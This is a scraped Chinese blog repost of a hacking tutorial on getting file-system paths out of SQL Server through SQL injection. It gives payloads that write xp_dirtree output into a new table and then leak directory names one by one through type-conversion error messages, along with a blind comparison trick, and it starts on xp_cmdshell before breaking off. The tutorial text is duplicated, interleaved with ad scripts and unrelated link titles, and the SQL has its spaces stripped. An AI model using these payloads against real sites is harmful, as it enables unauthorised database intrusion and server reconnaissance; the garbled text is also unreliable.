sqlserver取得路径的几种方法以及比较
来源:互联网 发布:最新双色球缩水软件 编辑:程序博客网 时间:2024/05/22 05:13
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧
方法可以说有4种(现在已知的)
第一种方法:
这个是<<怪异的SQL注入>>中介绍的方法
利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)
建立表
语句:tabledirs(pathsvarchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:dirsexecmaster.dbo.xp_dirtree'c:/'--
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了:P)
语句:and0<>(selecttop1pathsfromdirs)-
返回:MicrosoftOLEDBProviderfor错误80040e07
将varchar值'@Inetpub'转换为数据类型为int的列时发生语法错误。
再依次爆出表中的目录名称!
语句:and0<>(selecttop1pathsfrom
dirswherepathsnotin('@Inetpub'))--
返回:MicrosoftOLEDBProviderforsqlserver错误80040e07
将varchar值'test'转换为数据类型为int的列时发生语法错误。
再依次爆出表中的目录名称!
好我们继续
语句:and0<>(selecttop1pathsfrom
dirswherepathsnotin('@Inetpub','test'))--
返回:MicrosoftOLEDBProviderforsqlserver错误80040e07
将varchar值'haha'转换为数据类型为int的列时发生语法错误。
再依次爆出表中的目录名称!
好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,
一点技巧:
有时候你会发现当输入类似
and0<>(selecttop1pathsfromdirs)-
时不是显示出错,而是网页显示正常
晕了吧,别紧张哈
看看0<>(selecttop1pathsfromdirs)说明返回是一个数字,
哈哈,测试一下看看是多少吧
100>(selecttop1pathsfromdirs)
返回正常
哈哈,用这种大于小于的方法很快就能猜出了
好我们继续
比如当出现
59=(selecttop1pathsfromdirs)
返回正常,
ok,说明名字是59
输入如下
and0<>(selecttop1pathsfrom
dirswherepathsnotin('59'))--
记得带上引号哟
下面的方法就和原来的一样的了
还有一个问题就是
有时候用上面的方法输入59时,发现下一次的文件夹还是59
这个是怎么回事情呢?
呵呵,不知道你有没有注意过059和59是一样的?
就是这个原因了,哈哈,
and0<>(selecttop1pathsfrom
dirswherepathsnotin('059'))--
发现显示下一个文件夹名字了,ok
优缺点分析:
优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,
缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.
而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.
祝你成功
方法二:
利用xp_cmdshell
哈哈,这个大家一定很熟悉了吧,我就简单说一下
建立表
语句:tabledirs(pathsvarchar(1000))--
返回:正常的信息!说明建表成功!继续!1<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
如果网站只开了80端口,你会发现下面的方法是比较有用的其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧
方法可以说有4种(现在已知的)
第一种方法:
这个是<<怪异的SQL注入>>中介绍的方法
利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)
建立表
语句:tabledirs(pathsvarchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:dirsexecmaster.dbo.xp_dirtree'c:/'--
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了:P)
语句:and0<>(selecttop1pathsfromdirs)-
返回:MicrosoftOLEDBProviderfor错误80040e07
将varchar值'@Inetpub'转换为数据类型为int的列时发生语法错误。
再依次爆出表中的目录名称!
语句:and0<>(selecttop1pathsfrom
dirswherepathsnotin('@Inetpub'))--
返回:MicrosoftOLEDBProviderforsqlserver错误80040e07
将varchar值'test'转换为数据类型为int的列时发生语法错误。
再依次爆出表中的目录名称!
好我们继续
语句:and0<>(selecttop1pathsfrom
dirswherepathsnotin('@Inetpub','test'))--
返回:MicrosoftOLEDBProviderforsqlserver错误80040e07
将varchar值'haha'转换为数据类型为int的列时发生语法错误。
再依次爆出表中的目录名称!
好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,
一点技巧:
有时候你会发现当输入类似
and0<>(selecttop1pathsfromdirs)-
时不是显示出错,而是网页显示正常
晕了吧,别紧张哈
看看0<>(selecttop1pathsfromdirs)说明返回是一个数字,
哈哈,测试一下看看是多少吧
100>(selecttop1pathsfromdirs)
返回正常
哈哈,用这种大于小于的方法很快就能猜出了
好我们继续
比如当出现
59=(selecttop1pathsfromdirs)
返回正常,
ok,说明名字是59
输入如下
and0<>(selecttop1pathsfrom
dirswherepathsnotin('59'))--
记得带上引号哟
下面的方法就和原来的一样的了
还有一个问题就是
有时候用上面的方法输入59时,发现下一次的文件夹还是59
这个是怎么回事情呢?
呵呵,不知道你有没有注意过059和59是一样的?
就是这个原因了,哈哈,
and0<>(selecttop1pathsfrom
dirswherepathsnotin('059'))--
发现显示下一个文件夹名字了,ok
优缺点分析:
优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,
缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.
而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.
祝你成功
方法二:
利用xp_cmdshell
哈哈,这个大家一定很熟悉了吧,我就简单说一下
建立表
语句:tabledirs(pathsvarchar(1000))--
返回:正常的信息!说明建表成功!继续!1<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
- sqlserver取得路径的几种方法以及比较
- GridView行绑定时取得某个数据列的几种方法比较
- Java读取配置文件的几种方法以及路径问题
- 相对路径的取得方法
- 取得路径的各种方法
- Eclipse取得路径的方法
- 比较两个路径的几种方式
- unity的几种渲染路径比较
- ASP.Net应用深入系列(一):GridView行绑定时取得某个数据列的几种方法比较
- SQLserver数据库恢复的几种方法
- 主流的几种推送以及比较
- C# 获取运行程序所在路径的几种方法比较
- Jquery Javascript 取得iframe中元素的几种方法
- Jquery取得iframe中元素的几种方法
- Jquery取得iframe中元素的几种方法
- Jquery取得iframe中元素的几种方法
- Jquery取得iframe中元素的几种方法
- Jquery取得iframe中元素的几种方法
- [转载]VC中的时间
- 应遵循的PL/SQL编码规则
- 输出从0到max_num中用二进制和十进制表示都是回文数的整数
- 未与信任连接相关联??
- 无题
- sqlserver取得路径的几种方法以及比较
- 相处的更聪明
- 使用SQL存储过程要特别注意的问题-注意顺序读取
- 关于外部样式表中background-image:url()的设置
- SqlConnection.ConnectionString属性
- sql*plus使用的一些技巧
- 如何配置来做远程备份?
- 如何配置11,使得快速BCP具有更好的性能?
- SRM 399 DIV2 [250]